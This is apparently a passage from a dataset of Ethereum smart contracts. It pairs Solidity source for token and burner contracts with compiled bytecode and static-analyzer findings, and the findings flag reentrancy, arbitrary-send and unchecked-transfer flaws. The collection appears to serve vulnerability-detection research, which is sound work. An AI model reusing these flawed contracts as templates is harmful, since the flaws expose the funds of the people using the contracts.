_tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146103c2578063c3c8cd8014610472578063c9567bf914610487578063d543dbeb1461049c578063dd62ed3e146104c657610114565b8063715018a61461032e5780638da5cb5b1461034357806395d89b4114610374578063a9059cbb1461038957610114565b8063273123b7116100dc578063273123b71461025a578063313ce5671461028f5780635932ead1146102ba5780636fc3eaec146102e657806370a08231146102fb57610114565b806306fdde0314610119578063095ea7b3146101a357806318160ddd146101f057806323b872dd1461021757610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610501565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101af57600080fd5b506101dc600480360360408110156101c657600080fd5b506001600160a01b03813516906020013561052a565b604080519115158252519081900360200190f35b3480156101fc57600080fd5b50610205610548565b60408051918252519081900360200190f35b34801561022357600080fd5b506101dc6004803603606081101561023a57600080fd5b506001600160a01b03813581169160208101359091169060400135610555565b34801561026657600080fd5b5061028d6004803603602081101561027d57600080fd5b50356001600160a01b03166105dc565b005b34801561029b57600080fd5b506102a4610655565b6040805160ff9092168252519081900360200190f35b3480156102c657600080fd5b5061028d600480360360208110156102dd57600080fd5b5035151561065a565b3480156102f257600080fd5b5061028d6106d0565b34801561030757600080fd5b506102056004803603602081101561031e57600080fd5b50356001600160a01b0316610704565b34801561033a57600080fd5b5061028d61076e565b34801561034f57600080fd5b50610358610810565b604080516001600160a01b039092168252519081900360200190f35b34801561038057600080fd5b5061012e61081f565b34801561039557600080fd5b506101dc600480360360408110156103ac57600080fd5b506001600160a01b03813516906020013561083b565b3480156103ce57600080fd5b5061028d600480360360208110156103e557600080fd5b81019060208101813564010000000081111561040057600080fd5b82018360208201111561041257600080fd5b8035906020019184602083028401116401000000008311171561043457600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061084f945050505050565b34801561047e57600080fd5b5061028d610903565b34801561049357600080fd5b5061028d610940565b3480156104a857600080fd5b5061028d600480360360208110156104bf57600080fd5b5035610d34565b3480156104d257600080fd5b50610205600480360360408110156104e957600080fd5b506001600160a01b0381358116916020013516610e39565b60408051808201909152600f81526e4661697220456e6f75676820efb88f60881b602082015290565b600061053e610537610e64565b8484610e68565b5060015b92915050565b683635c9adc5dea0000090565b6000610562848484610f54565b6105d28461056e610e64565b6105cd85604051806060016040528060288152602001611f80602891396001600160a01b038a166000908152600460205260408120906105ac610e64565b6001600160a01b03168152602081019190915260400160002054919061132a565b610e68565b5060019392505050565b6105e4610e64565b6000546001600160a01b03908116911614610634576040805162461bcd60e51b81526020600482018190526024820152600080516020611fa8833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600990565b610662610e64565b6000546001600160a01b039081169116146106b2576040805162461bcd60e51b81526020600482018190526024820152600080516020611fa8833981519152604482015290519081900360640190fd5b60128054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b03166106e4610e64565b6001600160a01b0316146106f757600080fd5b47610701816113c1565b50565b6001600160a01b03811660009081526006602052604081205460ff161561074457506001600160a01b038116600090815260036020526040902054610769565b6001600160a01b038216600090815260026020526040902054610766906113fb565b90505b919050565b610776610e64565b6000546001600160a01b039081169116146107c6576040805162461bcd60e51b81526020600482018190526024820152600080516020611fa8833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b604080518082019091526002815261464560f01b602082015290565b600061053e610848610e64565b8484610f54565b610857610e64565b6000546001600160a01b039081169116146108a7576040805162461bcd60e51b81526020600482018190526024820152600080516020611fa8833981519152604482015290519081900360640190fd5b60005b81518110156108ff576001600760008484815181106108c557fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016108aa565b5050565b6010546001600160a01b0316610917610e64565b6001600160a01b03161461092a57600080fd5b600061093530610704565b90506107018161145b565b610948610e64565b6000546001600160a01b03908116911614610998576040805162461bcd60e51b81526020600482018190526024820152600080516020611fa8833981519152604482015290519081900360640190fd5b601254600160a01b900460ff16156109f7576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610a409030906001600160a01b0316683635c9adc5dea00000610e68565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a7957600080fd5b505afa158015610a8d573d6000803e3d6000fd5b505050506040513d6020811015610aa357600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610af357600080fd5b505afa158015610b07573d6000803e3d6000fd5b505050506040513d6020811015610b1d57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b6f57600080fd5b505af1158015610b83573d6000803e3d6000fd5b505050506040513d6020811015610b9957600080fd5b5051601280546001600160a01b0319166001600160a01b039283161790556011541663f305d7194730610bcb81610704565b600080610bd6610810565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610c4157600080fd5b505af1158015610c55573d6000803e3d6000fd5b50505050506040513d6060811015610c6c57600080fd5b505060128054678ac7230489e8000060135560ff60a01b1960ff60b81b1960ff60b01b19909216600160b01b1791909116600160b81b1716600160a01b17908190556011546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610d0557600080fd5b505af1158015610d19573d6000803e3d6000fd5b505050506040513d6020811015610d2f57600080fd5b505050565b610d3c610e64565b6000546001600160a01b03908116911614610d8c576040805162461bcd60e51b81526020600482018190526024820152600080516020611fa8833981519152604482015290519081900360640190fd5b60008111610de1576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610dff6064610df9683635c9adc5dea0000084611629565b90611682565b601381905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610ead5760405162461bcd60e51b81526004018080602001828103825260248152602001806120166024913960400191505060405180910390fd5b6001600160a01b038216610ef25760405162461bcd60e51b8152600401808060200182810382526022815260200180611f3d6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610f995760405162461bcd60e51b8152600401808060200182810382526025815260200180611ff16025913960400191505060405180910390fd5b6001600160a01b038216610fde5760405162461bcd60e51b8152600401808060200182810382526023815260200180611ef06023913960400191505060405180910390fd5b6000811161101d5760405162461bcd60e51b8152600401808060200182810382526029815260200180611fc86029913960400191505060405180910390fd5b611025610810565b6001600160a01b0316836001600160a01b03161415801561105f5750611049610810565b6001600160a01b0316826001600160a01b031614155b156112cd57601254600160b81b900460ff1615611159576001600160a01b038316301480159061109857506001600160a01b0382163014155b80156110b257506011546001600160a01b03848116911614155b80156110cc57506011546001600160a01b03838116911614155b15611159576011546001600160a01b03166110e5610e64565b6001600160a01b0316148061111457506012546001600160a01b0316611109610e64565b6001600160a01b0316145b611159576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b60135481111561116857600080fd5b6001600160a01b03831660009081526007602052604090205460ff161580156111aa57506001600160a01b03821660009081526007602052604090205460ff16155b6111b357600080fd5b6012546001600160a01b0384811691161480156111de57506011546001600160a01b03838116911614155b801561120357506001600160a01b03821660009081526005602052604090205460ff16155b80156112185750601254600160b81b900460ff165b15611260576001600160a01b038216600090815260086020526040902054421161124157600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b600061126b30610704565b601254909150600160a81b900460ff1615801561129657506012546001600160a01b03858116911614155b80156112ab5750601254600160b01b900460ff165b156112cb576112b98161145b565b4780156112c9576112c9476113c1565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061130f57506001600160a01b03831660009081526005602052604090205460ff165b15611318575060005b611324848484846116c4565b50505050565b600081848411156113b95760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561137e578181015183820152602001611366565b50505050905090810190601f1680156113ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108ff573d6000803e3d6000fd5b6000600a5482111561143e5760405162461bcd60e51b815260040180806020018281038252602a815260200180611f13602a913960400191505060405180910390fd5b60006114486117e0565b90506114548382611682565b9392505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060808301845292602083019080368337019050509050308160008151811061149c57fe5b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114f057600080fd5b505afa158015611504573d6000803e3d6000fd5b505050506040513d602081101561151a57600080fd5b505181518290600190811061152b57fe5b6001600160a01b0392831660209182029290920101526011546115519130911684610e68565b60115460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b838110156115d75781810151838201526020016115bf565b505050509050019650505050505050600060405180830381600087803b15801561160057600080fd5b505af1158015611614573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b60008261163857506000610542565b8282028284828161164557fe5b04146114545760405162461bcd60e51b8152600401808060200182810382526021815260200180611f5f6021913960400191505060405180910390fd5b600061145483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611803565b806116d1576116d1611868565b6001600160a01b03841660009081526006602052604090205460ff16801561171257506001600160a01b03831660009081526006602052604090205460ff16155b156117275761172284848461189a565b6117d3565b6001600160a01b03841660009081526006602052604090205460ff1615801561176857506001600160a01b03831660009081526006602052604090205460ff165b15611778576117228484846119be565b6001600160a01b03841660009081526006602052604090205460ff1680156117b857506001600160a01b03831660009081526006602052604090205460ff165b156117c857611722848484611a67565b6117d3848484611ada565b8061132457611324611b1e565b60008060006117ed611b2c565b90925090506117fc8282611682565b9250505090565b600081836118525760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561137e578181015183820152602001611366565b50600083858161185e57fe5b0495945050505050565b600c541580156118785750600d54155b1561188257611898565b600c8054600e55600d8054600f55600091829055555b565b6000806000806000806118ac87611cab565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506118de9088611d08565b6001600160a01b038a1660009081526003602090815260408083209390935560029052205461190d9087611d08565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461193c9086611d4a565b6001600160a01b03891660009081526002602052604090205561195e81611da4565b6119688483611e2c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806119d087611cab565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a029087611d08565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611a389084611d4a565b6001600160a01b03891660009081526003602090815260408083209390935560029052205461193c9086611d4a565b600080600080600080611a7987611cab565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611aab9088611d08565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611a029087611d08565b600080600080600080611aec87611cab565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061190d9087611d08565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611c6b57826002600060098481548110611b5c57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611bc15750816003600060098481548110611b9a57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611bdf57600a54683635c9adc5dea0000094509450505050611ca7565b611c1f6002600060098481548110611bf357fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611d08565b9250611c616003600060098481548110611c3557fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611d08565b9150600101611b40565b50600a54611c8290683635c9adc5dea00000611682565b821015611ca157600a54683635c9adc5dea00000935093505050611ca7565b90925090505b9091565b6000806000806000806000806000611cc88a600c54600d54611e50565b9250925092506000611cd86117e0565b90506000806000611ceb8e878787611e9f565b919e509c509a509598509396509194505050505091939550919395565b600061145483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061132a565b600082820183811015611454576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611dae6117e0565b90506000611dbc8383611629565b30600090815260026020526040902054909150611dd99082611d4a565b3060009081526002602090815260408083209390935560069052205460ff1615610d2f5730600090815260036020526040902054611e179084611d4a565b30600090815260036020526040902055505050565b600a54611e399083611d08565b600a55600b54611e499082611d4a565b600b555050565b6000808080611e646064610df98989611629565b90506000611e776064610df98a89611629565b90506000611e8f82611e898b86611d08565b90611d08565b9992985090965090945050505050565b6000808080611eae8886611629565b90506000611ebc8887611629565b90506000611eca8888611629565b90506000611edc82611e898686611d08565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122041d504bdc23c38d266c5709120211cfbba165c46a63d351bbe12eca6c280dd4864736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,453
0x4c129783B42833220ad57d48548f871189009d3f
pragma solidity ^0.4.16; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused returns (bool) { paused = true; Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused returns (bool) { paused = false; Unpause(); return true; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title HoQuToken * @dev HoQu.io token contract. */ contract HoQuToken is StandardToken, Pausable { string public constant name = "HOQU Token"; string public constant symbol = "HQX"; uint32 public constant decimals = 18; /** * @dev Give all tokens to msg.sender. */ function HoQuToken(uint _totalSupply) { require (_totalSupply > 0); totalSupply = balances[msg.sender] = _totalSupply; } function transfer(address _to, uint _value) whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } } /** * @title HoQuBurner * @title HoQu.io contract to burn HQX. */ contract HoQuBurner is Ownable { using SafeMath for uint256; // token instance HoQuToken public token; mapping(address => uint256) public claimed; mapping(uint32 => address) public transactionAddresses; mapping(uint32 => uint256) public transactionAmounts; uint32 public transactionsCount; /** * Events for token burning */ event TokenBurned(address indexed _sender, uint256 _tokens); /** * @param _tokenAddress address of a HQX token contract */ function HoQuBurner(address _tokenAddress) { token = HoQuToken(_tokenAddress); } /** * Burn particular HQX amount already sent to this contract * * Should be executed by contract owner (for security reasons). * Sender should just send HQX tokens to contract address */ function burnFrom(address _sender, uint256 _tokens) onlyOwner { require(_tokens > 0); token.transfer(address(0), _tokens); transactionAddresses[transactionsCount] = _sender; transactionAmounts[transactionsCount] = _tokens; transactionsCount++; TokenBurned(_sender, _tokens); } /** * Burn particular HQX amount using token allowance * * Should be executed by sender. * Sender should give allowance for specified amount in advance (see approve method of HOQU token contract) */ function burn(uint256 _tokens) { token.transferFrom(msg.sender, this, _tokens); burnFrom(msg.sender, _tokens); } }
0x60606040526004361061007f5763ffffffff60e060020a60003504166342966c68811461008457806379cc67901461009c5780638da5cb5b146100be578063b626791e146100ed578063c884ef831461011b578063f2fde38b1461013a578063fc0c546a14610159578063fd13a2811461016c578063fd99a74614610188575b600080fd5b341561008f57600080fd5b61009a6004356101b4565b005b34156100a757600080fd5b61009a600160a060020a036004351660243561023c565b34156100c957600080fd5b6100d161037c565b604051600160a060020a03909116815260200160405180910390f35b34156100f857600080fd5b61010963ffffffff6004351661038b565b60405190815260200160405180910390f35b341561012657600080fd5b610109600160a060020a036004351661039d565b341561014557600080fd5b61009a600160a060020a03600435166103af565b341561016457600080fd5b6100d1610406565b341561017757600080fd5b6100d163ffffffff60043516610415565b341561019357600080fd5b61019b610430565b60405163ffffffff909116815260200160405180910390f35b600154600160a060020a03166323b872dd33308460405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561021757600080fd5b5af1151561022457600080fd5b5050506040518051905050610239338261023c565b50565b60005433600160a060020a0390811691161461025757600080fd5b6000811161026457600080fd5b600154600160a060020a031663a9059cbb60008360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156102bb57600080fd5b5af115156102c857600080fd5b505050604051805150506005805463ffffffff9081166000908152600360209081526040808320805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038916908117909155855485168452600490925291829020859055835463ffffffff19811690841660010190931692909217909255907f1af5163f80e79b5e554f61e1d052084d3a3fe1166e42a265798c4e2ddce8ffa29083905190815260200160405180910390a25050565b600054600160a060020a031681565b60046020526000908152604090205481565b60026020526000908152604090205481565b60005433600160a060020a039081169116146103ca57600080fd5b600160a060020a038116156102395760008054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff1990911617905550565b600154600160a060020a031681565b600360205260009081526040902054600160a060020a031681565b60055463ffffffff16815600a165627a7a723058203b13bd4295a63c4a245ab795c7746e2d7cb140c40566fe16c53096e138de1e270029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
5,454
0xb92f0765f5f8bd33eabab521645d5556d30b1ea0
//SPDX-License-Identifier: No License pragma solidity ^0.8.1; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner,"You're not authorized"); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0),"New owner cannot be 0 address"); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ abstract contract ERC20Basic { /// Total amount of tokens uint256 public totalSupply; function balanceOf(address _owner) public view virtual returns (uint256 balance); function transfer(address _to, uint256 _amount) public virtual returns (bool success); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ abstract contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public virtual view returns (uint256 remaining); function transferFrom(address _from, address _to, uint256 _amount) public virtual returns (bool success); function approve(address _spender, uint256 _amount) public virtual returns (bool success); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; //balance in each address account mapping(address => uint256) balances; /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(balances[sender] >= amount, "ERC20: transfer amount exceeds balance"); balances[sender] -= amount; balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view virtual override returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 */ contract StandardToken is ERC20, BasicToken { using SafeMath for *; mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _amount uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _amount) public virtual override returns (bool success) { require(_to != address(0), "New address cannot be 0 address"); require(balances[_from] >= _amount,"Should have balance"); require(allowed[_from][msg.sender] >= _amount,"should have allowed the sender"); require(_amount > 0 && balances[_to].add(_amount) > balances[_to],"amount cannot be 0"); balances[_from] = balances[_from].sub(_amount); balances[_to] = balances[_to].add(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); emit Transfer(_from, _to, _amount); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _amount The amount of tokens to be spent. */ function approve(address _spender, uint256 _amount) public virtual override returns (bool success) { allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view virtual override returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ contract MintableToken is StandardToken, Ownable { uint256 public cap = 100000000000*10**18; function mint(address _account, uint256 _amount) public onlyOwner returns(bool) { _mint(_account, 